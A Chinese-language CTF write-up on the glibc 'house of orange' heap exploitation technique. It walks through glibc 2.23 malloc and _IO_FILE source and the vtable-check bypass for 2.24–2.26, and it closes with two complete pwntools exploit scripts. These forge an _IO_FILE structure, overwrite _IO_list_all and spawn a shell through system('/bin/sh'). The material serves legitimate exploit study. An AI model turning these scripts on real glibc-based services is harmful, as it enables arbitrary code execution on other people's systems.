house of orange 详解
main_arena 与 bin
正如我们一开始允许程序时候在 gdbp 里面无法使用 heap 命令,只有我们开始申请一个堆块后,main_arean 这个结构体才会被初始化
未初始化前,没有看见堆空间
unsorted bin attack
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { bck = victim->bk; if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0)) malloc_printerr(check_action, "malloc(): memory corruption", chunk2mem(victim), av); size = chunksize(victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ /* 显然,bck被修改,并不符合这里的要求*/ if (in_smallbin_range(nb) && bck == unsorted_chunks(av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { .... } /* remove from unsorted list */ unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);
也就是上述 _init_malloc 函数代码的最后两行
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
其中 bck 是 free_chunk2,那么这里就会将 unsorted chunk 的 bk 指向 free_chunk2 ,而 free_chunk2 的 fd 指向 unsorted chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { bck = victim->bk; if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0)) malloc_printerr(check_action, "malloc(): memory corruption", chunk2mem(victim), av); size = chunksize(victim);
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
就会将 fake_chunk 的 fd 修改成 main_arena_88
2.23 下 house of orange 详解
- 修改 top_chunk 的 size ,令其进入 unsorted bin ,泄露 libc_base
- 在 unsorted bin 伪造成一个 0x61 大小的 chunk 和 _IO_FILE_ 结构体,再次 malloc 时候再次进行 unsorted bin attack 修改 _IO_list_all 为 main_arena_88 ,并把 0x61 的 unsorted bin chunk 放入 small bin,触发 malloc 报错后,调用一系列链子 get_shell
victim = av->top; size = chunksize (victim); if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av->top = remainder; set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } else if (have_fastchunks (av)) { \********\ } else { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; }
在这段代码中,我们可以看到,如果 size(top_chunk_size) >= nb(user_chunk_size) + MINSIZE((prev_size+size)chunk_head_size) ,那么就会对 topchunk 进行切割,否则,之后会调用 sysmalloc 来拓展堆空间。
if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))) { \********\ } old_top = av->top; old_size = chunksize (old_top); old_end = (char *) (chunk_at_offset (old_top, old_size)); brk = snd_brk = (char *) (MORECORE_FAILURE); assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
从上面代码可以看到,如果 av(arena) 为空或者 nb(user_chunk_size) >= mmap 分配的最低阈值,并且 mmap 分配的最低阈值小于 mmap 分配的最大阈值(一般默认成立),那么就会利用 mmap 去分配内存,这样,我们就不能实现将 top_chunk 释放进 unsorted bin 的攻击目标了,因此,这里我们需要 nb < mp_.mmap_threshold
- old_top == initial_top (av) top_chunk 没有被释放进 unsorted bin
- old_size(top_chunk_size) >= MINSIZE ((prev_size+size)chunk_head_size) 64位程序下也就是 top_chunk_size >= 0x10
- prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
- old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
- old_size < nb + MINSIZE 这个之前检测过了
if (av != &main_arena) { heap_info *old_heap, *heap; size_t old_heap_size; /* First try to extend the current heap. */ old_heap = heap_for_ptr (old_top); old_heap_size = old_heap->size; if ((long) (MINSIZE + nb - old_size) > 0 && grow_heap (old_heap, MINSIZE + nb - old_size) == 0) { \***********\ } }
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) { \********\ } if (old_size >= MINSIZE) { \********\ _int_free (av, old_top, 1); }
- prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
- old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
- user_chunk_size > top_chunk_size 申请的堆块大小要大于 top_chunk 的大小
- top_chunk_size > MINSIZE 也就是 top_chunk 的大小要大于 chunk_heap 的大小,64 位下为 0x10
void malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) { /* Avoid using this arena in future. We do not attempt to synchronize this with anything else because we minimally want to ensure that __libc_message gets its resources safely without stumbling on the current corruption. */ if (ar_ptr) set_arena_corrupt (ar_ptr); if ((action & 5) == 5) __libc_message (action & 2, "%s\n", str); else if (action & 1) { char buf[2 * sizeof (uintptr_t) + 1]; buf[sizeof (buf) - 1] = '\0'; char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0); while (cp > buf) *--cp = '0'; __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n", __libc_argv[0] ? : "<unknown>", str, cp); } else if (action & 2) abort (); }
void __libc_message (int do_abort, const char *fmt, ...){ if (do_abort) { BEFORE_ABORT (do_abort, written, fd); /* Kill the application. */ abort (); } }
void abort (void) { \******\ if (stage == 1) { ++stage; fflush(NULL); } \******\ }
#define fflush(s) _IO_fflush (s)
继续跟进 _IO_fflush
int _IO_fflush (_IO_FILE *fp){ if (fp == NULL) return _IO_flush_all (); else{ \*******\ } }
由于参数是 NULL ,那么就会接着调用 _IO_flush_all
int _IO_flush_all (void){ /* We want locking. */ return _IO_flush_all_lockp(1); }
那么又会接着调用 _IO_flush_all_lockp ,而 _IO_flush_all_lockp 就是这里链子的终点,因此,这条链子是
malloc_printerr -> __libc_message -> abort -> fflush(_IO_fflush) -> _IO_flush_all
-> _IO_flush_all_lockp
继续跟进查看 _IO_flush_all_lockp 函数代码
int _IO_flush_all_lockp (int do_lock) # do_lock = 1 { int result = 0; struct _IO_FILE *fp; int last_stamp; #ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); if (do_lock) _IO_lock_lock (list_all_lock); #endif last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } #ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0); #endif return result; }
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
而 JUMP1 继续跟进,会发现其中包括各个宏定义的关系如下
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define _IO_JUMPS_FUNC(THIS) _IO_JUMPS_FILE_plus (THIS) #define _IO_JUMPS_FUNC(THIS) (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) + (THIS)->_vtable_offset))
而 _IO_jump_t 就是 _IO_FILE 结构体的虚表函数
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
可以看到 _overflow 排在第四位,概括就是 _IO_OVERFLOW 会调用 _IO_FILE 结构体的 vtable 指针所指向的虚表函数的第四个函数,其参数的地址也是 _IO_FILE 结构体的地址。
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) )
- _mode = 0
- _IO_write_ptr > _IO_write_base
hex(0x55a305257040 + 0x20fc1 - 1) = 0x55a305278000
也就是说 top chunk 自带页对齐。为了满足下面四个条件
- prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
- old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
- user_chunk_size > top_chunk_size 申请的堆块大小要大于 top_chunk 的大小
- top_chunk_size > MINSIZE 也就是 top_chunk 的大小要大于 chunk_heap 的大小,64 位下为 0x10
# leak heap_base rl(b'0x') heap_base = int(p.recv(12), 16) - 0x10 # leak libc_base add(0x10) edit(0x20, p64(0)*3 + p64(0xfc1)) add(0x1000) add(0x10, b'a'*8) show() libc_base = get_addr() - 1656 - libc.sym['__malloc_hook']
这样,我们就完成了步骤1,活得了 heap_base 和 libc_base,并且现在有一个 unsorted bin 中的 free_chunk
然后是步骤二,我们要怎么把一个创建一个 0x60 大小的 small bin 并且在里面伪造好 _IO_FILE 结构体的数据还要再次触发 unsorted bin attack 修改 _IO_list_all 为 main_arena_88 呢。这里我们可以利用之前被放入 unsorted bin 的 top chunk。
# unsorted bin attack unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; }
if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); \********\ if (__glibc_unlikely (fwd->bk != bck)) { errstr = "malloc(): corrupted unsorted chunks"; goto errout; } remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; \*******\
那么会对该 unsorted bin 进行切割,不够由于 bk 已经被我们修改了,所以这里的判断并不成立,将跳转到 errout 执行
errout: if (!have_lock && locked) (void) mutex_unlock (&av->mutex); malloc_printerr (check_action, errstr, chunk2mem (p), av); return;
也将执行 malloc_printerr 执行一系列链子
我们构造的时候要满足下面两个条件
- _mode = 0
- _IO_write_ptr > _IO_write_base
fake_file = b'/bin/sh\x00' + p64(0x60) # unsorted bin attack fake_file += p64(0) + p64(_IO_list_all - 0x10) # _IO_write_ptr > _IO_write_base fake_file += p64(0) + p64(1) fake_file = fake_file.ljust(0xf8, b'\x00') # vtable -> myself fake_file += p64(heap_base + xx) fkae_file += p64(0)*2 + p64(system)
由于_mode 的正负性是随机的,影响判断条件,大概有 1/2 的概率会利用失败
from pwn import * from struct import pack from ctypes import * #from LibcSearcher import * def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def debug(): gdb.attach(p) pause() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a) context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('1.14.71.254', 28966) elf = ELF('./pwn') libc = ELF('/home/xshhc/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def add(size, data = b'a'): sla(b'choice : ', b'1') sla(b'of it\n', str(size)) sa(b'Name?\n', data) def edit(size, data): sla(b'choice : ', b'2') sla(b'of it\n', str(size)) sa(b'name\n', data) def show(): sla(b'choice : ', b'3') # leak heap_base rl(b'0x') heap_base = int(p.recv(12), 16) - 0x10 add(0x10) edit(0x20, p64(0)*3 + p64(0xfc1)) add(0x1000) add(0x10, b'a'*8) show() libc_base = get_addr() - 1656 - libc.sym['__malloc_hook'] io_list_all = libc_base + libc.sym['_IO_list_all'] system = libc_base + libc.sym['system'] payload = b'a' * 0x10 fake_file = b'/bin/sh\x00' + p64(0x61) fake_file += p64(0) + p64(io_list_all - 0x10) fake_file += p64(0) + p64(1) fake_file = fake_file.ljust(0xc0,b'\x00') fake_file += p64(0) * 3 fake_file += p64(heap_base + 0x138) fake_file += p64(0) * 2 fake_file += p64(system) payload += fake_file edit(len(payload), payload) sla(b'choice : ', b'1') sla(b'of it\n', str(1)) inter() print(' libc_base -> ', hex(libc_base)) print(' heap_base -> ', hex(heap_base)) #debug()
如图,攻击在打印报错信息后成功了
2.24 ~ 2.26 下 house of orange 的 bypass
# define _IO_JUMPS_FUNC(THIS) \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset))
这是 2.24 版本的
# define _IO_JUMPS_FUNC(THIS) \ (IO_validate_vtable \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
可以看到, 2.24 版本多了一个 IO_validata_vtable ,跟进会发现
/* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable){ /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }
该函数实现的是对 _IO_jump_t 的检查,所以我们如果利用之前的方法,那么 _IO_jump_t 就是一个堆地址,那么必然会检查失败导致攻击失败
而 _IO_str_finish 是表内的第三个函数,其中函数代码如下
void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); }
首先会进行 if 判断,这里需要
- _IO_buf_base != 0
- _flags = 0
可以看到,其中的 rbx 和 rdi 都是 FP ,最终会调用 fp + 0xe8, fd + 0x38 则作为参数
fake_file =p64(0) + p64(0x60) # unsorted bin attack fake_file += p64(0) + p64(_IO_list_all - 0x10) # _IO_write_ptr > _IO_write_base fake_file += p64(0) + p64(1) fake_file += p64(0) + b'/bin/sh\x00' fake_file = fake_file.ljust(0xc0, b'\x00') fake_file += p64(0)*3 # vtable -> _IO_strn_jumps - 0x8 fake_file += p64(_IO_strn_jumps - 0x8) fkae_file += p64(0) + p64(system)
以 [安洵杯 2021]ezheap 为例,该绕过方法在 libc-2.23 下的 exp 如
from pwn import * from struct import pack from ctypes import * #from LibcSearcher import * def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def debug(): gdb.attach(p) pause() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a) context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('1.14.71.254', 28966) elf = ELF('./pwn') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def add(size, data = b'a'): sla(b'choice : ', b'1') sla(b'of it\n', str(size)) sa(b'Name?\n', data) def edit(size, data): sla(b'choice : ', b'2') sla(b'of it\n', str(size)) sa(b'name\n', data) def show(): sla(b'choice : ', b'3') # leak heap_base rl(b'0x') heap_base = int(p.recv(12), 16) - 0x10 add(0x10) edit(0x20, p64(0)*3 + p64(0xfc1)) add(0x1000) add(0x10, b'a'*8) show() libc_base = get_addr() - 1656 - libc.sym['__malloc_hook'] _IO_list_all = libc_base + libc.sym['_IO_list_all'] system, binsh = get_sb() IO_file_jumps_offset = libc.sym['_IO_file_jumps'] _IO_strn_jumps = libc_base + 0x3C34A0 payload = b'a' * 0x10 fake_file = p64(0) + p64(0x60) # unsorted bin attack fake_file += p64(0) + p64(_IO_list_all - 0x10) # _IO_write_ptr > _IO_write_base fake_file += p64(0) + p64(1) fake_file += p64(0) + p64(binsh) fake_file = fake_file.ljust(0xc0, b'\x00') fake_file += p64(0)*3 # vtable -> _IO_strn_jumps - 0x8 fake_file += p64(_IO_strn_jumps - 0x8) fake_file += p64(0) + p64(system) payload += fake_file edit(len(payload), payload) #gdb.attach(p, 'b _IO_flush_all_lockp') sla(b'choice : ', b'1') sla(b'of it\n', str(1)) #pause() inter() print(' libc_base -> ', hex(libc_base)) print(' heap_base -> ', hex(heap_base)) #debug()
攻击效果
如有错误欢迎评论区指出